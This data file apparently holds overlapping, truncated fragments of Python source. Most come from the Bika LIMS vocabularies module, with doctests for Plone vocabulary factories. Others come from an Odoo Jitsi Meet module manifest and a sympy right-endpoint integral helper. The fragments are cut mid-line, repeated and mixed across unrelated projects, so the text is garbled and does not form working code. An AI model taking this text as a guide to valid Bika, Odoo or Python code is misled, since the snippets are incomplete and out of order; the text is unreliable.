"Chemistry' in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory",
">>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from plone.app.testing",
"at ...> >>> 'test_user_1_' in source.by_value True >>> 'user1' in source.by_value True \"\"\"",
"workflow is anbled, # Be sure and select only active objects, unless other",
">>> tool.addMember('user1', 'user1', ... properties = { ... 'username': 'user1', ... 'email': '<EMAIL>',",
"portal = getSite() wftool = getToolByName(portal, 'portal_workflow', None) if wftool is None: return",
"in templates: title = template[:-3] title = title.replace('_', ' ') title = title.replace(':',",
"translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1]) for",
"is a dictionary with the following structure: {'id': <template_id>, 'title': <template_title>} If the",
"def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST', None) items =",
"objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects: continue objects.sort(lambda x, y:",
"specified and available on each additional product (restype). Each array item is a",
"value = 'Title' def __init__(self, context, key=None, value=None, contentFilter=None): self.context = context self.key",
">>> contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source",
"items_dict = dict([(i[1], t(i[0])) for i in items]) items_list = [(k, v) for",
"for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o for o in",
"users in the specified list of roles >>> from zope.component import queryUtility >>>",
"as _ from bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils",
"self.key self.value = value if value else self.value self.contentFilter = \\ contentFilter if",
"= [(t(item.Title()), item.Title()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for",
"for folder in self.folders: folder = site.restrictedTraverse(folder) for portal_type in self.portal_types: objects =",
"= mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda x, y:",
"each additional product. Each array item is a dictionary with the following structure:",
"util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in source.by_value True >>>",
"and select only active objects, unless other instructions # are explicitly specified: wf",
">>> from zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory,",
"templates available. Retrieves the TAL templates saved in templates/stickers folder. Each array item",
"items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects. We",
"i in xitems] items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for",
"class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class",
"i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>>",
"name) >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from",
"from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters from",
"tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for template in",
"getSite() request = aq_get(site, 'REQUEST', None) items = [] wf = site.portal_workflow for",
"resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context):",
"objects = [o for o in objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if",
"x in glob.glob(tempath)] # Retrieve the templates from other add-ons for templates_resource in",
"brain in brains: if self.key in brain and self.value in brain: key =",
"\"\"\" Present a vocabulary containing users in the specified list of roles >>>",
">>> 'test_user_1_' in source.by_value True >>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def",
"= util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One' in source.by_value",
"setRoles >>> from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',])",
"the templates from the 'reports' resources directory type from each additional product. Each",
"a vocabulary containing users in the specified list of roles >>> from zope.component",
"from zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>>",
"def __call__(self, context): site = getSite() mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles)",
"list)) else [roles, ] def __call__(self, context): site = getSite() mtool = getToolByName(site,",
"= 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects",
"return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly portal types, filtered",
"util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import",
"i[1], i[0]) for i in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory =",
"[SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns",
"[o for o in objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects:",
"site.restrictedTraverse(folder) for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o for o",
"for brain in brains: if self.key in brain and self.value in brain: key",
"'title': title}) return out def getARReportTemplates(): \"\"\" Returns an array with the AR",
"in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items = [('', '')] if",
"key() or key value = obj[self.value] value = callable(value) and value() or value",
"__init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow",
"= getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item in",
"['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary containing users",
"SimpleVocabulary([]) # XXX This is evil. A vocabulary shouldn't be request specific. #",
"= True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow is anbled,",
"[] wf = site.portal_workflow for folder in self.folders: folder = site.restrictedTraverse(folder) for portal_type",
"name as the id, but with whitespaces and without extension. As an example,",
"'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate",
"self.value) else: obj = brain.getObjec() key = obj[self.key] key = callable(key) and key()",
"\"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles if isinstance(roles, (tuple, list)) else",
"in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context):",
"located in templates/reports dir, and with a filename \"My_cool_report.pt\", the dictionary will look",
"source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry' in source.by_token True \"\"\" def",
"] def __call__(self, context): site = getSite() mtool = getToolByName(site, 'portal_membership') users =",
"AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory",
"import os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary)",
"vocabulary containing users in the specified list of roles >>> from zope.component import",
"<filename>bika/lims/vocabularies/__init__.py # -*- coding:utf-8 -*- from Acquisition import aq_get from bika.lims import bikaMessageFactory",
"return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array with the sticker templates available.",
"title.replace(':', ': ') out.append({'id': template, 'title': title}) return out def getARReportTemplates(): \"\"\" Returns",
"[SimpleTerm(k, title=u'%s' % v) for k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory =",
"extension. As an example, for a template from the my.product add-on located in",
"at ...> >>> 'Water Chemistry' in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories',",
"source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary()",
"a filename \"My_cool_report.pt\", the dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My",
"x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item in objects] xitems",
"= templates_resource.__name__ if prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix,",
"= util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry' in source.by_token",
"['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients',",
"return out def getARReportTemplates(): \"\"\" Returns an array with the AR Templates available",
"i[0], i[1]) for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary):",
"= [(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for",
"cool report'} \"\"\" resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return",
"to allow user to set the default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out",
"login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 =",
"types, filtered to return only types listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory)",
"xitems = [(t(item.Title()), item.Title()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0])",
"def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\"",
"coding:utf-8 -*- from Acquisition import aq_get from bika.lims import bikaMessageFactory as _ from",
"y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems = [SimpleTerm(i[1], i[1],",
"for template in templates: title = template[:-3] title = title.replace('_', ' ') title",
"resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm",
"wf = site.portal_workflow for folder in self.folders: folder = site.restrictedTraverse(folder) for portal_type in",
"['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices',",
"def __init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple, list)) and \\ folders or",
"= [x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow'",
"if value else self.value self.contentFilter = \\ contentFilter if contentFilter else self.contentFilter def",
"= list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item",
"aq_get(site, 'REQUEST', None) items = [] wf = site.portal_workflow for folder in self.folders:",
"name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\")",
"in brain: key = getattr(brain, self.key) value = getattr(brain, self.value) else: obj =",
"wftool = getToolByName(portal, 'portal_workflow', None) if wftool is None: return SimpleVocabulary([]) # XXX",
"import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from plone.app.testing import setRoles >>>",
"source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in source.by_value True >>> 'user1' in",
"include a prefix that matches with the add-on identifier. template_title is the same",
"SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def",
"= [] for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(),",
"implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()]",
"as the id, but with whitespaces and without extension. As an example, for",
">>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in",
"= title.replace('_', ' ') title = title.replace(':', ': ') out.append({'id': template, 'title': title})",
"from plone.app.testing import TEST_USER_ID >>> from plone.app.testing import setRoles >>> from plone.app.testing import",
"value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects.",
"def __call__(self, context): portal = getSite() wftool = getToolByName(portal, 'portal_workflow', None) if wftool",
"# XXX This is evil. A vocabulary shouldn't be request specific. # The",
"list(folder.objectValues(portal_type)) objects = [o for o in objects if wf.getInfoFor(o, 'inactive_state') == 'active']",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self):",
"import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>> folder",
"self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow'",
"zope.site.hooks import getSite import os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog",
"dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" resdirname",
"if allow_blank else [] for brain in brains: if self.key in brain and",
"specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids",
"from zope.site.hooks import getSite import os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from",
"request specific. # The sorting should go into a separate widget. # we",
"= portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects) 3 >>> source = util(portal)",
"(_('PDF'), 'pdf') ] for name, item in getAdapters((context, ), ICustomPubPref): items.append(item) return SimpleVocabulary.fromItems(items)",
"= 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\") >>>",
"isinstance(folders, (tuple, list)) and \\ folders or [folders, ] self.portal_types = isinstance(portal_types, (tuple,",
"= isinstance(folders, (tuple, list)) and \\ folders or [folders, ] self.portal_types = isinstance(portal_types,",
"friendly portal types, filtered to return only types listed as indexed by bika_catalog",
"[(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i",
"from zope.component import getAdapters from zope.site.hooks import getSite import os import glob class",
"isinstance(portal_types, (tuple, list)) and \\ portal_types or [portal_types, ] def __call__(self, context): site",
"client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source = util(portal) >>>",
"context): site = getSite() mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items =",
"self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items = [('', '')] if allow_blank else",
"in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def",
"import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1'",
"self.value in brain: key = getattr(brain, self.key) value = getattr(brain, self.value) else: obj",
"'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\") >>> states",
">>> from plone.app.testing import TEST_USER_ID >>> from plone.app.testing import setRoles >>> from plone.app.testing",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"# are explicitly specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type",
"wftool because context may be an adapter request = aq_get(wftool, 'REQUEST', None) wf",
"are explicitly specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type =",
"lives outside the bika.lims add-on, both the template_id and template_title include a prefix",
"ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns",
"SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary):",
"id='client1') 'client1' >>> client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>>",
"[] for brain in brains: if self.key in brain and self.value in brain:",
"= \\ contentFilter if contentFilter else self.contentFilter def __call__(self, **kwargs): site = getSite()",
"plus the templates from the 'reports' resources directory type from each additional product.",
"vocabulary shouldn't be request specific. # The sorting should go into a separate",
"ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary containing users in the specified list",
"folder.objectValues() >>> len(objects) 3 >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at"
] |
[
"at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml',",
"coding: utf-8 -*- # © 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi",
"share Jitsi Meet video conferences with other users and external partners', 'description': \"\"\"",
"'Create and share Jitsi Meet video conferences with other users and external partners',",
"conference meetings between Odoo users. You can invite external users by sending mail",
"a new browser tab so you can keep working on Odoo, and share",
"and share screen with your partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\":",
"sending mail from Odoo. When you join the meeting Odoo opens a new",
"partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [",
"You can invite external users by sending mail from Odoo. When you join",
"# © 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration', 'version':",
"Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra",
"conferences with other users and external partners', 'description': \"\"\" Adds a new APP",
"Jitsi Meet video conferences with other users and external partners', 'description': \"\"\" Adds",
"utf-8 -*- # © 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet",
"\"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True,",
"users and external partners', 'description': \"\"\" Adds a new APP to create and",
"Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create and",
"with other users and external partners', 'description': \"\"\" Adds a new APP to",
"between Odoo users. You can invite external users by sending mail from Odoo.",
"'Extra Tools', 'sequence': 1, 'summary': 'Create and share Jitsi Meet video conferences with",
"you join the meeting Odoo opens a new browser tab so you can",
"'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create and share Jitsi Meet",
"invite external users by sending mail from Odoo. When you join the meeting",
"Meet video conferences with other users and external partners', 'description': \"\"\" Adds a",
"'summary': 'Create and share Jitsi Meet video conferences with other users and external",
"to create and share Jisti Meet video conference meetings between Odoo users. You",
"new APP to create and share Jisti Meet video conference meetings between Odoo",
"by sending mail from Odoo. When you join the meeting Odoo opens a",
"'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary':",
"meetings between Odoo users. You can invite external users by sending mail from",
"Adds a new APP to create and share Jisti Meet video conference meetings",
"'sequence': 1, 'summary': 'Create and share Jitsi Meet video conferences with other users",
"(<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence':",
"-*- coding: utf-8 -*- # © 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia",
"share screen with your partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\",",
"'description': \"\"\" Adds a new APP to create and share Jisti Meet video",
"so you can keep working on Odoo, and share screen with your partners",
"video conferences with other users and external partners', 'description': \"\"\" Adds a new",
"share Jisti Meet video conference meetings between Odoo users. You can invite external",
"Odoo users. You can invite external users by sending mail from Odoo. When",
"the meeting Odoo opens a new browser tab so you can keep working",
"and external partners', 'description': \"\"\" Adds a new APP to create and share",
"join the meeting Odoo opens a new browser tab so you can keep",
"'12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create and share Jitsi Meet video",
"opens a new browser tab so you can keep working on Odoo, and",
"tab so you can keep working on Odoo, and share screen with your",
"mail from Odoo. When you join the meeting Odoo opens a new browser",
"Odoo, and share screen with your partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\",",
"can keep working on Odoo, and share screen with your partners at Jisti",
"\"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install': False, 'application': True, 'license':",
"APP to create and share Jisti Meet video conference meetings between Odoo users.",
"and share Jitsi Meet video conferences with other users and external partners', 'description':",
"you can keep working on Odoo, and share screen with your partners at",
"external partners', 'description': \"\"\" Adds a new APP to create and share Jisti",
"1, 'summary': 'Create and share Jitsi Meet video conferences with other users and",
"can invite external users by sending mail from Odoo. When you join the",
"users by sending mail from Odoo. When you join the meeting Odoo opens",
"\"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install': False,",
"partners', 'description': \"\"\" Adds a new APP to create and share Jisti Meet",
"Tools', 'sequence': 1, 'summary': 'Create and share Jitsi Meet video conferences with other",
"new browser tab so you can keep working on Odoo, and share screen",
"iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools',",
"video conference meetings between Odoo users. You can invite external users by sending",
"'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install': False, 'application': True, 'license': 'AGPL-3', }",
"When you join the meeting Odoo opens a new browser tab so you",
"\"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install':",
"screen with your partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\":",
"Meet video conference meetings between Odoo users. You can invite external users by",
"2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category':",
"users. You can invite external users by sending mail from Odoo. When you",
"external users by sending mail from Odoo. When you join the meeting Odoo",
"{ 'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1,",
"\"\"\" Adds a new APP to create and share Jisti Meet video conference",
"with your partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'],",
"other users and external partners', 'description': \"\"\" Adds a new APP to create",
"Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ],",
"\"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install': False, 'application':",
"Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create and share",
"keep working on Odoo, and share screen with your partners at Jisti Meet.",
"Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images':",
"© 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2',",
"Jisti Meet video conference meetings between Odoo users. You can invite external users",
"and share Jisti Meet video conference meetings between Odoo users. You can invite",
"[ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install': False, 'application': True, 'license': 'AGPL-3',",
"on Odoo, and share screen with your partners at Jisti Meet. \"\"\", \"author\":",
"-*- # © 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name': 'Sinerkia Jitsi Meet Integration',",
"your partners at Jisti Meet. \"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\":",
"# -*- coding: utf-8 -*- # © 2020 Sinerkia iD (<https://www.sinerkia.com>). { 'name':",
"\"\"\", \"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'],",
"a new APP to create and share Jisti Meet video conference meetings between",
"Odoo opens a new browser tab so you can keep working on Odoo,",
"Odoo. When you join the meeting Odoo opens a new browser tab so",
"browser tab so you can keep working on Odoo, and share screen with",
"meeting Odoo opens a new browser tab so you can keep working on",
"working on Odoo, and share screen with your partners at Jisti Meet. \"\"\",",
"create and share Jisti Meet video conference meetings between Odoo users. You can",
"'Sinerkia Jitsi Meet Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create",
"\"author\": \"<NAME>\", \"website\": \"https://www.sinerkia.com\", \"depends\": ['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable':",
"['base','web','mail'], \"data\": [ 'views/sinerkia_jitsi_meet_views.xml','data/sinerkia_jitsi_meet.xml','data/mail_template.xml','security/ir.model.access.csv','security/base_security.xml', ], 'images': ['images/main_screenshot.png'], 'installable': True, 'auto_install': False, 'application': True,",
"from Odoo. When you join the meeting Odoo opens a new browser tab",
"'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create and share Jitsi Meet video conferences",
"Integration', 'version': '12.0.1.0.2', 'category': 'Extra Tools', 'sequence': 1, 'summary': 'Create and share Jitsi"
] |
[
"# RIght endpoints integral approximation def right(expr, left_bound, right_bound, delta_x): x = symbols('x')",
